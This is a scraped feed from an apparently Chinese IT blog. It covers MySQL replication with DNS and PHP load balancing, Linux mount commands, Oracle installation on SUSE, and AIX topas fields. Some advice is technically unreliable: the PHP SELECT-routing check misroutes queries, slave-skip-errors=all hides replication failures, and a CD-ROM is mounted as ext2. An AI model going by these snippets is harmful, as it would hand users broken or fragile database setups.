<p>　　其它两台Slave服务器执行同样操作，实现数据库初始数据的简单copy。</p>
<p>　　(3). 重启从属服务器上的MySQL数据库服务</p>
<p>　　# /app/mysql5/bin/mysqld_safe –-user=mysql –-log-bin &#038;</p>
<p>　　从属服务器已启动，同时启动二进制更新日志功能，为角色转换做好准备。</p>
<p>　　(4). 登录到从属服务器Slave的MySQL客户端</p>
<p>　　# /app/mysql/bin/msyql –uroot -p</p>
<p>　　(5). 启动从属服务器上的复制(replication)线程</p>
<p>　　mysql> CHANGE MASTER TO</p>
<p>　　-> MASTER_HOST=&#8217;192.168.1.100&#8242;,</p>
<p>　　-> MASTER_USER=&#8217;repl&#8217;,</p>
<p>　　-> MASTER_PASSWORD=&#8217;g00r002b&#8217;,</p>
<p>　　-> MASTER_LOG_FILE=&#8217; mysql-master-bin.000001&#8242;,</p>
<p>　　-> MASTER_LOG_POS=1027;</p>
<p>　　Query OK, 0 rows affected (0.00 sec)</p>
<p>　　mysql> START SLAVE;</p>
<p>　　Query OK, 0 rows affected (0.00 sec)</p>
<p>　　在所有从属服务器上执行相同的操作，自此从属服务器已连接到主服务器，开始真正意义上的replication工作。测试从属服务器的复制工作是否正常：</p>
<p>　　mysql>show slave status\G</p>
<p>　　************************** 1. row ***************************</p>
<p>　　Slave_IO_State: Waiting for master to send event</p>
<p>　　Master_Host: 192.168.1.100</p>
<p>　　Master_User: repl</p>
<p>　　Master_Port: 3306</p>
<p>　　Connect_Retry: 60</p>
<p>　　Master_Log_File: mysql-master-bin.000001</p>
<p>　　Read_Master_Log_Pos: 1027</p>
<p>　　Relay_Log_File: FreebsdSlave1-relay-bin.000005</p>
<p>　　Relay_Log_Pos: 251</p>
<p>　　Relay_Master_Log_File: mysql-master-bin.000001</p>
<p>　　Slave_IO_Running: Yes</p>
<p>　　Slave_SQL_Running: Yes</p>
<p>　　看到上述信息说明从属服务器已启动了与replication相关的线程I/O和SQL，一对多的replication已经开始工作。</p>
<p>　　(6). 功能测试</p>
<p>　　在主服务器上写入新的数据：</p>
<p>　　mysql>INSERT INTO repl_table (f1, f2) VALUES(2, ‘second’);</p>
<p>　　mysql>SELECT * FROM repl_table;</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;+</p>
<p>　　| f1 | f2 |</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　| 1 | first |</p>
<p>　　| 2 | second |</p>
<p>　　+&#8212;&#8211;=&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　2 rows in set (0.01 sec)</p>
<p>　　在Slave上执行相同的查询操作：</p>
<p>　　mysql>SELECT * FROM repl_table;</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;+</p>
<p>　　| f1 | f2 |</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　| 1 | first |</p>
<p>　　| 2 | second |</p>
<p>　　+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-+</p>
<p>　　2 rows in set (0.01 sec)</p>
<p>　　得到相同的查询结果，说明复制(replication)机制已成功开始工作!</p>
<p>　　3.3.3 配置网络DNS服务器</p>
<p>　　在BIND DNS服务器中，为上述三台从属服务器Slave配置同一个名字，客户端的查询检索操作将由DNS服务器定向到其中的一台Slave。因此，对于同一名字，不同的客户端会定向到不同的地址，访问不同的MySQL服务器，从而达到负载均衡的目的。假设用户为三台Slave分配的DNS名字为 mysqlslave.yourdomain，DNS服务器区域文件/var/named/yourdomain.zone中应包含如下数据项[6]：</p>
<p>　　sqlmaster.yourdomain. IN A 192.168.1.100</p>
<p>　　sqlslave1.yourdomain. IN A 192.168.1.101</p>
<p>　　sqlslave2.yourdomain. IN A 192.168.1.102</p>
<p>　　sqlslave3.yourdomain. IN A 192.168.1.103</p>
<p>　　sqlslave IN CNAME sqlslave1</p>
<p>　　sqlslave IN CNAME sqlslave2</p>
<p>　　sqlslave IN CNAME sqlslave3</p>
<p>　　当客户端进行查询操作时，提交给主机sqlslave.yourdomain的请求将由DNS服务器随机定向到三台Slave中的一台，由其执行查询作业，返回结果。从而在三台Slave之间实现查询级别的负载均衡。</p>
<p>　　3.3.4 应用系统程序代码优化</p>
<p>　　实际应用中，对数据库的写入操作相对查询操作少得多，因此，优化应用程序的数据库连接代码，把写入操作定向到Master服务器，查询操作定向到 Slave服务器，提供主服务器和从属服务器之间更新、查询的负载均衡功能。本文以PHP数据库连接代码为例，简要介绍代码优化方法[7]。</p>
<p>　　(1). 准备不同的数据库连接配置文件</p>
<p>　　准备两个数据库连接文件mysql_connect_master.php和mysql_connect_slave.php，其文件内容如下：</p>
<p>　　mysql_connect_master.php文件的内容：</p>
<p>　　</p>
<p>　　// Connect to the Database Server</p>
<p>　　$linkID = @mysql_connect(&#8220;sqlmaster.yourdomain&#8221;, &#8220;user&#8221;, &#8220;password&#8221;) or die(&#8220;Sorry, could not connect to the database!&#8221;);</p>
<p>　　// Select the Database</p>
<p>　　@mysql_select_db(&#8220;repl_db&#8221;) or die(&#8220;Sorry, Could not select database!&#8221;);</p>
<p>　　?></p>
<p>　　mysql_connect_slave.php文件的内容：</p>
<p>　　</p>
<p>　　// Connect to the Database Server</p>
<p>　　$linkID = @mysql_connect(&#8220;sqlslave.yourdomain&#8221;, &#8220;user&#8221;, &#8220;password&#8221;) or die(&#8220;Sorry, could not connect to the database!&#8221;);</p>
<p>　　// Select the Database</p>
<p>　　@mysql_select_db(&#8220;repl_db&#8221;) or die(&#8220;Sorry, Could not select database!&#8221;);</p>
<p>　　?><br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　(2). 优化程序SQL语句代码</p>
<p>　　对应用程序中访问数据库的代码段做出如下优化：</p>
<p>　　</p>
<p>　　&#8230;</p>
<p>　　// $sql is the query string to be committed to MySQL server.</p>
<p>　　if ( stripos( $sql, &#8221; SELECT&#8221; ) )</p>
<p>　　{</p>
<p>　　include_once(&#8220;./mysql_connect_slave.php&#8221;);</p>
<p>　　&#8230;</p>
<p>　　mysql_close();</p>
<p>　　}</p>
<p>　　else</p>
<p>　　{</p>
<p>　　include_once(&#8220;./mysql_connect_master.php&#8221;);</p>
<p>　　&#8230;</p>
<p>　　mysql_close();</p>
<p>　　}</p>
<p>　　&#8230;</p>
<p>　　?></p>
<p>　　说明：每当向MySQL服务器提交数据库操作时，加入一个if-else判断语句对变量$sql进行判断定向，如果是SELECT查询操作，将其定向到从属服务器Slave中的一个;如果是其它更新语句，则将其定向到主服务器Master。此处代码段是应用系统实现负载均衡的关键，用户务必根据自己实际情况，写出准确无误的代码。每次对数据库操作完毕都要及时释放数据库连接，以免更新、查询操作分别定向失败，影响系统负载均衡功能。这样做虽然在一定程度上增加Web服务器或应用服务器的开销，但与MySQL服务器集群负载均衡功能带来的大幅性能提升及冗余容错特性相比，这个开销绝对是物超所值!</p>
<p>　　3.4 注意事项</p>
<p>　　正确部署实现具有负载均衡功能的MySQL服务器集群必须注意以下事项：</p>
<p>　　(1). MySQL数据库复制(replication)特性是核心</p>
<p>　　此处的复制不是简单的copy，从属服务器启动两个线程(thread)：I/O线程和SQL线程，I/O线程接收主服务器对参与复制数据库的更新操作事件(event)，并记入自己的中继二进制更新日志文件(hostname-relay-bin.00000n)，由SQL线程将更新操作写入自己的数据库表项。主从服务器之间复制的不是具体的数据内容，而是具体的以二进制格式记录的操作事件，因而在一定程度上实现主从服务器之间的数据同步。(这种复制类似于生物学意义上的按基因复制，在英语中replication的主要词义就是指该种复制。)</p>
<p>　　(2). 复制的复杂性</p>
<p>　　主从数据库服务器间的replication要求Master与Slave上的MySQL版本最好一致，主从服务器必须设置相同的字符集，否则很容易造成复制失败。主服务器上更新权限表内容的FLUSH语句不会被复制[8]。</p>
<p>　　(3). 按照范式化要求设计数据库</p>
<p>　　生产环境下基于MySQL服务器的应用系统要想稳定运行，按范式化设计系统数据库是基本要求，具体内容可参考相关书籍。</p>
<p>　　(4). 打开数据库服务器的远程用户连接功能</p>
<p>　　打开主从服务器的远程用户连接是实现更新、查询操作分别定向的必要条件，否则，来自应用服务器的连接请求失败，影响系统应用正常运行。</p>
<p>　　(5). 负载均衡功能的实现需要良好的团队合作</p>
<p>　　BIND DNS服务器实现了从属服务器Slave之间的负载均衡，Slave和Master之间的负载均衡则由应用系统开发人员在程序代码级实现。整个系统的性能提升和冗余容错需要网络管理和应用系统开发团队之间的良好合作，否则负载均衡功能的实现就会失败。</p>
<p>4. 常见问题</p>
<p>　　(1). 如何估算MySQL服务器集群的性能提升量?</p>
<p>　　针对本文采用的结构模式，可对应用系统整体性能提升做出大致估算。假设应用系统写操作占10%，读操作占90%，写操作耗时是读操作的2倍，系统的吞吐量(throughput)为T(用reads/s读操作次数/秒来衡量)。把写操作线性转换为读操作，则有：</p>
<p>　　T= 2Xwrites + 9Xwrites ==>writes=T/11① (不采用主从复制模式，读写操作集中到一个服务器上)</p>
<p>　　T= 2Xwrites + 9Xwrites/N ==> writes=T/(2+9/N)② (采用一对多的主从复制模式，读操作在从属服务器，写操作在主服务器)</p>
<p>　　其中，writes为系统单位时间内所能承受的最大写操作次数，N为从属服务器个数，N大于等于2。在不采用主从复制模式时，系统性能 writes=T/11;采用本文一对三的复制模式时，系统性能writes=T/5。采用负载均衡模式与不采用系统性能之比为11：5，即2.2：1，考虑到应用服务器的额外开销，系统整体性能提升了整整1倍!从②式可以看出，系统整体性能理论极限为T/2，当然在实际生产环境中不可能达到。具体部署时用户可以根据自己的实际情况估算出合理的从属服务器数量，主要影响因素是网络带宽和机器整体性能[9]。</p>
<p>　　(2). 如何应对主从服务器崩溃?</p>
<p>　　当某台从属服务器崩溃时，修复故障重启后重新连接到主服务器，根据其master.info文件更新其数据，保持与主服务器的数据同步。如果主服务器崩溃，在某一从属服务器上执行STOP SLAVES; GRANT REPLICATION SLAVE ON *.* repl_db TO ‘repl’@’%’ IDENTIFIED BY ‘g00r002b’;RESET MASTER;这三个SQL语句，由于从属服务器已启动了二进制更新日志功能，因此具备了角色转换的必要条件。更改其主机名、IP地址及server- id与Master一样，重启MySQL服务器，系统开始正常对外提供服务。其它两台从属服务器则不需执行任何操作，继续执行replication过程。BIND DNS服务器和应用程序也不需做任何调整，继续对系统用户提供不间断服务。主服务器排除故障恢复正常后，将其网络配置改为与现有Master转换角色之前一样的配置，重启MySQL服务，将其角色转换为从属服务器。也就是说，整个集群机器的角色可以相互循环转换，提高系统的冗余性和可靠性。在此需要注意的是，在应用系统调试运行正常之后，在Slave角色服务器的/etc/my.cnf文件[mysqld]段加入slave-skip- errors=all，保证集群之间复制(replication)的正常运行。</p>
<p>　　5. 结束语</p>
<p>　　部署与实现具有负载均衡功能的MySQL服务器集群是一项复杂的系统工程，需要多方面良好的协同合作才能做好。服务器的搭建配置、BIND DNS服务器的配置部署，以及应用系统程序的开发都要紧紧围绕实现MySQL服务器集群负载均衡功能这个目标。必须对主服务器的运行状态进行动态监控，如果发生故障，立即执行角色转换过程，确保为终端用户提供可靠、不间断的服务。可以针对具体系统环境写出监控脚本或程序，确保系统的可靠性与稳定性。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1134.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux 加载u盘、光盘、软盘&amp; mount使用指南</title>
		<link>http://www.evanjiang.net.cn/archives/1100.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1100.html#comments</comments>
		<pubDate>Mon, 25 May 2009 10:02:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1100</guid>
		<description><![CDATA[<p>一、Linux加载u盘
Linux如何加载(优)U盘
第一步，以root用户登陆
先加载USB模块 modprobe usb-storage
用fdisk -l 看看磁盘的设备
假如U盘是sda
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               mkdir /mnt/usb
第三步, 载入 u 盘，需键入以下命令：
Linux如何加载(优)U盘
第一步，以root用户登陆
先加载USB模块 modprobe usb-storage
用fdisk -l 看看U盘的设备
假如U盘是sda1
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               md /mnt/usb
成功后进行下一步。
第三步, 载入 [...]]]></description>
			<content:encoded><![CDATA[<p>一、Linux加载u盘<br />
Linux如何加载(优)U盘<br />
第一步，以root用户登陆<br />
先加载USB模块 modprobe usb-storage<br />
用fdisk -l 看看磁盘的设备<br />
假如U盘是sda<br />
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               mkdir /mnt/usb<br />
第三步, 载入 u 盘，需键入以下命令：<br />
Linux如何加载(优)U盘<br />
第一步，以root用户登陆<br />
先加载USB模块 modprobe usb-storage<br />
用fdisk -l 看看U盘的设备<br />
假如U盘是sda1<br />
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               md /mnt/usb<br />
成功后进行下一步。<br />
第三步, 载入 u 盘，需键入以下命令：<br />
mount -t vfat /dev/sda /mnt/usb_disk<br />
成功后，即可使用 u 盘了, 文件就在目录 /mnt/usb 下。<br />
第四步，卸载u盘<br />
在使用完u盘后，在拔出前需要先键入卸载U盘命令<br />
命令如下：               umount /mnt/usb<br />
二、Linux mount使用指南<br />
在Linux中，如果你要使用储存设备 (Mo、硬盘、光驱等) ，就得先将它挂上 (Mount)，而当储 存设备挂上了之后，就可以把它当成一个目录来进行访问。挂上一个设备使用mount命令。 </p>
<p>在使用mount这个指令时，至少要先知道下列三种信息： </p>
<p>1. 要Mount对象的文件系统类型？ (File system type) </p>
<p>2. 要Mount对象的设备名称？ (/dev/????) </p>
<p>3. 要将设备Mount到哪个目录去？<br />
<span id="more-1100"></span><br />
一、获得系统支持的文件系统类型 </p>
<p>就第一点来说，用户可以执行 </p>
<p>cat /proc/filesystems </p>
<p>来获得机器上支持的文件系统类型。如果系统并不支持你要挂接设备的文件系统类型，那 你可能需要重新编译内核以使其增加对该种文件类型支持。关于如何编译内核请参照LinuxAid在 线培训栏目中的相关文章。 </p>
<p>常用的文件系统有： </p>
<p>Win95/98常用的FAT 32文件系统 ：vfat </p>
<p>Win NT用的文件系统 ：ntfs </p>
<p>OS2用的文件系统 ：hpfs </p>
<p>Linux用的文件系统 ：ext2 </p>
<p>光盘片用的文件系统 ：iso9660 </p>
<p>其中虽然vfat是指FAT 32系统，但事实上它也兼容FAT 16的文件系统类型。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
二、确定设备的名称 </p>
<p>在Linux中，设备名称通常都在/dev里。这些设备名称的命名都是有规则的，我们可以用&#8221;推 理&#8221;的方式把设备名称找出来。 </p>
<p>譬如说/dev/hda1这个IDE设备。hd是Hard Disk(硬盘)的意思，sd是SCSI Device，fd是Floppy Device(或是Floppy Disk?)。a则是代表第一个设备，通常IDE接口可以接上四个IDE设备(例如四块 硬盘)。所以要识别IDE硬盘的方法分别就 </p>
<p>是：hda、hdb、hdc、hdd。此外，hda1中的&#8221;1&#8243;代表hda的第一个硬盘分区 </p>
<p>(partition)，hda2代表hda的第二个分割区，依此类推。 </p>
<p>此外，你可以直接检查/var/log/messages这个文件，在该文件中可以找到计算机开机后，系 统已辨认出来的设备代号。 </p>
<p>三、查找挂接点 </p>
<p>最后我们要决定将设备挂接到哪里，先查看一下你的计算机是不是有个/mnt的空目录？该目 录就是专门用来当作挂载点(Mount Point)的目录。建议您在/mnt里多建这几个目录：/mnt/ cdrom、/mnt/floppy、/mnt/mo等来当作目录的专用挂载点。 </p>
<p>举例而言，如要挂载下列五个设备的话，其执行指令可能是 (假设都是Linux的ext2系统，如 果是Win XX的话，请将ext2改成vfat)： </p>
<p>1. 软盘 ===>mount -t ext2 /dev/fd0 /mnt/floppy </p>
<p>2. MO ===>mount -t ext2 /dev/sda /mnt/mo </p>
<p>3. cdrom ===>mount -t ext2 /dev/hdc /mnt/cdrom<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
4. SCSI cdrom ===>mount -t iso9660 /dev/sdb /mnt/scdrom </p>
<p>5. SCSI cdr ===>mount -t iso9660 /dev/sdc /mnt/scdr </p>
<p>这是假设，如果你的设备的名称跟这个不同的话请自行修改。 </p>
<p>最后需要注意的是： </p>
<p>1. 执行mount动作时先打一下pwd看看现在的目录是不是在挂载点，如果现在目录在挂载点 的话，mount (或umount)不会成功 (会显示device busy)。 </p>
<p>2. 想卸载某设备的语法是umount 目录名，例如umount /mnt/cdrom等。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1100.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle10gR2 on SUSE Linux 10安装笔记</title>
		<link>http://www.evanjiang.net.cn/archives/1097.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1097.html#comments</comments>
		<pubDate>Mon, 25 May 2009 10:00:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[oracle]]></category>
		<category><![CDATA[suse linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1097</guid>
		<description><![CDATA[<p>系统要求：
内存：推荐1G
Swap分区：设为内存的2倍
/tmp磁盘空间：400MB以上
磁盘空间：软件3.5G 数据1.2G</p>
<p>所需软件：
SUSE Linux10 for x86
Oracle database 10gR2 for linux32
Orarun-1.8-109.15.i586.rpm软件包，可以从http://ftp.novell.com/partners/oracle/sels-9下载</p>
<p>安装步骤：
1、安装SUSE
安装SUSE一定确保安装“C/C++Compiler and Tools”软件包。
# gcc –version 查看是否安装该软件包</p>
<p>2、安装所需软件包
安装orarun软件包
#rpm –ivh orarun-1.8-109.15.i586.rpm
安装libaio和libaio-devel软件包，这两个软件包可以在SUSE Linux DISK4中找到
#rpm –ivh orarun-1.8-109.15.i586.rpm
#rpm –ivh libaio-devel-0.3.104-3.i586.rpm</p>
<p>3、Oracle用户设置
当orarun软件包安装时，会自动建立名为oracle的用户，和一个oinstall组。我们只需要将该用户设置为enable，把shell从/bin/false改为/binbash。而且orarun软件包将ORACLE_HOME文件夹自动生成，减少了很多麻烦。

4、设置Oracle环境变量
修改/ect/profile.d/oracle.sh文件,ORACLE_HOME、ORACLE_SID等环境变量可以根据需要自行修改。
例如：
ORACLE_HOME=$ORACLE_BASE/product/10gR2
ORACLE_SID=ORCL
其中默认NLS_LANG＝AMERICAN，如果在中文OS下安装界面会产生乱码。建议在英文环境下安装。








5、安装Oracle10gR2
注销root用户，以oracle用户重新登录到KDE。注意不要在root用户下使用su – oracle来切换到oracle用户进行安装，那样系统图形界面不能启动。
运行./runInstaller –ignoresysprereqs 开始安装Oracle, –ignoresysprereqs忽略对操作系统的认证，Oracle10g默认不能安装在SUSE Linux10上。当然也可以将安装文件拷贝到硬盘，修改database/install/oraparam.ini文件，将其中添加SuSE-10，这样可以不使用–ignoresysprereqs参数。








下面在图形界面就可以一路顺利安装，安装时没有发现任何错误。
企业管理器地址为http://localhost:1158/em在这里可以设置数据库。</p>
<p>感觉在SUSE Linux10上安装Oracle非常方便，不用过多的设置各种参数。而且SUSE Linux10界面也非常漂亮,大家有兴趣可以试一下。</p>
]]></description>
			<content:encoded><![CDATA[<p>系统要求：<br />
内存：推荐1G<br />
Swap分区：设为内存的2倍<br />
/tmp磁盘空间：400MB以上<br />
磁盘空间：软件3.5G 数据1.2G</p>
<p>所需软件：<br />
SUSE Linux10 for x86<br />
Oracle database 10gR2 for linux32<br />
Orarun-1.8-109.15.i586.rpm软件包，可以从http://ftp.novell.com/partners/oracle/sels-9下载</p>
<p>安装步骤：<br />
1、安装SUSE<br />
安装SUSE一定确保安装“C/C++Compiler and Tools”软件包。<br />
# gcc –version 查看是否安装该软件包</p>
<p>2、安装所需软件包<br />
安装orarun软件包<br />
#rpm –ivh orarun-1.8-109.15.i586.rpm<br />
安装libaio和libaio-devel软件包，这两个软件包可以在SUSE Linux DISK4中找到<br />
#rpm –ivh orarun-1.8-109.15.i586.rpm<br />
#rpm –ivh libaio-devel-0.3.104-3.i586.rpm</p>
<p>3、Oracle用户设置<br />
当orarun软件包安装时，会自动建立名为oracle的用户，和一个oinstall组。我们只需要将该用户设置为enable，把shell从/bin/false改为/binbash。而且orarun软件包将ORACLE_HOME文件夹自动生成，减少了很多麻烦。<br />
<span id="more-1097"></span><br />
4、设置Oracle环境变量<br />
修改/ect/profile.d/oracle.sh文件,ORACLE_HOME、ORACLE_SID等环境变量可以根据需要自行修改。<br />
例如：<br />
ORACLE_HOME=$ORACLE_BASE/product/10gR2<br />
ORACLE_SID=ORCL<br />
其中默认NLS_LANG＝AMERICAN，如果在中文OS下安装界面会产生乱码。建议在英文环境下安装。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
5、安装Oracle10gR2<br />
注销root用户，以oracle用户重新登录到KDE。注意不要在root用户下使用su – oracle来切换到oracle用户进行安装，那样系统图形界面不能启动。<br />
运行./runInstaller –ignoresysprereqs 开始安装Oracle, –ignoresysprereqs忽略对操作系统的认证，Oracle10g默认不能安装在SUSE Linux10上。当然也可以将安装文件拷贝到硬盘，修改database/install/oraparam.ini文件，将其中添加SuSE-10，这样可以不使用–ignoresysprereqs参数。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
下面在图形界面就可以一路顺利安装，安装时没有发现任何错误。<br />
企业管理器地址为http://localhost:1158/em在这里可以设置数据库。</p>
<p>感觉在SUSE Linux10上安装Oracle非常方便，不用过多的设置各种参数。而且SUSE Linux10界面也非常漂亮,大家有兴趣可以试一下。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1097.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AIX下的topas命令显示输出的参数内容都是代表什么含义</title>
		<link>http://www.evanjiang.net.cn/archives/1091.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1091.html#comments</comments>
		<pubDate>Fri, 22 May 2009 10:34:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ibm unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1091</guid>
		<description><![CDATA[<p>求教：AIX下的topas命令显示输出的参数内容都是代表什么含义
第二个固定部分占用了显示器的最右端的 25 个位置。它包含如下统计信息的 5 个分部：</p>
<p>事件／队列 显示所选系统全局事件的每秒频率、线程运行和等待队列的平均大小：
Cswitch
在监视时间间隔内每秒上下文切换的数量。
Syscalls
在监视时间间隔内每秒执行的系统调用的数量。
读
在监视时间间隔内每秒执行的 read 系统调用的数量。
写
在监视时间间隔内每秒执行的 write 系统调用的数量。
派生
在监视时间间隔内每秒执行的 fork 系统调用的数量。
执行
在监视时间间隔内每秒执行的 exec 系统调用的数量。
运行队列
准备运行但需要等待处理器可用的平均线程数目。
等待队列
正在等待页面调度完成的平均线程数目。
文件/TTY 显示所选文件与 tty 统计信息的每秒频率。
Readch
在监视时间间隔内 read 系统调用每秒读的字节数。
Writech
在监视时间间隔内 write 系统调用每秒写的字节数。
Rawin
在监视时间间隔内从 TTY 中每秒读取的原始字节数。
Ttyout
在监视时间间隔内每秒写入 TTY 中的字节数。
Igets
在监视时间间隔内每秒调用信息节点查找例程的数量。
Namei
在监视时间间隔内每秒调用路径名查找例程的数量。
Dirblk
在监视时间间隔内被目录搜索例程每秒扫描的目录块数目。
页面调度 显示页面调度统计信息的每秒频率。
错误
在监视时间间隔内每秒页面出错的数量。这包括不能激活页面调度的页面故障。
占用
在监视时间间隔内每秒钟有物理内存 4K 帧被虚拟内存管理器占用。
PgspIn
在监视时间间隔内每秒钟从调页空间读取 4K 页面的数量。
PgspOut
在监视时间间隔内每秒钟把 4K 页面写入调页空间的数量。
PageIn
在监视时间间隔内每秒钟读取 4K 页面的数量。这包括与从文件系统读取有关的页面调度活动。从这个值中减去 PgspIn 就可得到在监视时间间隔内每秒钟从文件系统读取的 4K 页面的数量。
PageOut
在监视时间间隔内每秒钟写 4K 页面的数量。这包括与写入文件系统有关的页面调度活动。从这个值中减去 PgspOut 就可得到在监视时间间隔内每秒钟写入文件系统的 4K 页面的数量。
Sios
在监视时间间隔内虚拟内存管理器每秒钟发出的 I/O 请求的数目。
内存 显示实际内存大小与内存使用的分布情况。
实际，MB

以 MB 为单位的实际内存大小。
% Comp
当前分配给计算页面帧的实际内存的百分数。计算页面帧通常是那些被调页空间支持的帧。
% Noncomp
当前分配给非计算页面帧的实际内存的百分数。非计算页面帧通常是那些被文件空间（可以是数据文件、可执行文件或共享库文件）支持的帧。
% Client
当前被分配用来高速缓存远程安装的文件的实际内存的百分数。
调页空间 显示调页空间的大小及利用情况。
大小，MB
系统上所有调页空间的总和，以 MB 为单位。
% [...]]]></description>
			<content:encoded><![CDATA[<p>求教：AIX下的topas命令显示输出的参数内容都是代表什么含义<br />
第二个固定部分占用了显示器的最右端的 25 个位置。它包含如下统计信息的 5 个分部：</p>
<p>事件／队列 显示所选系统全局事件的每秒频率、线程运行和等待队列的平均大小：<br />
Cswitch<br />
在监视时间间隔内每秒上下文切换的数量。<br />
Syscalls<br />
在监视时间间隔内每秒执行的系统调用的数量。<br />
读<br />
在监视时间间隔内每秒执行的 read 系统调用的数量。<br />
写<br />
在监视时间间隔内每秒执行的 write 系统调用的数量。<br />
派生<br />
在监视时间间隔内每秒执行的 fork 系统调用的数量。<br />
执行<br />
在监视时间间隔内每秒执行的 exec 系统调用的数量。<br />
运行队列<br />
准备运行但需要等待处理器可用的平均线程数目。<br />
等待队列<br />
正在等待页面调度完成的平均线程数目。<br />
文件/TTY 显示所选文件与 tty 统计信息的每秒频率。<br />
Readch<br />
在监视时间间隔内 read 系统调用每秒读的字节数。<br />
Writech<br />
在监视时间间隔内 write 系统调用每秒写的字节数。<br />
Rawin<br />
在监视时间间隔内从 TTY 中每秒读取的原始字节数。<br />
Ttyout<br />
在监视时间间隔内每秒写入 TTY 中的字节数。<br />
Igets<br />
在监视时间间隔内每秒调用信息节点查找例程的数量。<br />
Namei<br />
在监视时间间隔内每秒调用路径名查找例程的数量。<br />
Dirblk<br />
在监视时间间隔内被目录搜索例程每秒扫描的目录块数目。<br />
页面调度 显示页面调度统计信息的每秒频率。<br />
错误<br />
在监视时间间隔内每秒页面出错的数量。这包括不能激活页面调度的页面故障。<br />
占用<br />
在监视时间间隔内每秒钟有物理内存 4K 帧被虚拟内存管理器占用。<br />
PgspIn<br />
在监视时间间隔内每秒钟从调页空间读取 4K 页面的数量。<br />
PgspOut<br />
在监视时间间隔内每秒钟把 4K 页面写入调页空间的数量。<br />
PageIn<br />
在监视时间间隔内每秒钟读取 4K 页面的数量。这包括与从文件系统读取有关的页面调度活动。从这个值中减去 PgspIn 就可得到在监视时间间隔内每秒钟从文件系统读取的 4K 页面的数量。<br />
PageOut<br />
在监视时间间隔内每秒钟写 4K 页面的数量。这包括与写入文件系统有关的页面调度活动。从这个值中减去 PgspOut 就可得到在监视时间间隔内每秒钟写入文件系统的 4K 页面的数量。<br />
Sios<br />
在监视时间间隔内虚拟内存管理器每秒钟发出的 I/O 请求的数目。<br />
内存 显示实际内存大小与内存使用的分布情况。<br />
实际，MB<br />
<span id="more-1091"></span><br />
以 MB 为单位的实际内存大小。<br />
% Comp<br />
当前分配给计算页面帧的实际内存的百分数。计算页面帧通常是那些被调页空间支持的帧。<br />
% Noncomp<br />
当前分配给非计算页面帧的实际内存的百分数。非计算页面帧通常是那些被文件空间（可以是数据文件、可执行文件或共享库文件）支持的帧。<br />
% Client<br />
当前被分配用来高速缓存远程安装的文件的实际内存的百分数。<br />
调页空间 显示调页空间的大小及利用情况。<br />
大小，MB<br />
系统上所有调页空间的总和，以 MB 为单位。<br />
% 已用的<br />
当前在使用的调页空间占所有的百分数。<br />
% 未用的<br />
当前未使用的调页空间占所有的百分数。<br />
NFS 显示每秒调用的 NFS 状态<br />
服务器 V2 calls/sec<br />
客户机 V2 calls/sec<br />
服务器 V3 calls/sec<br />
客户机 V3 calls/sec</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
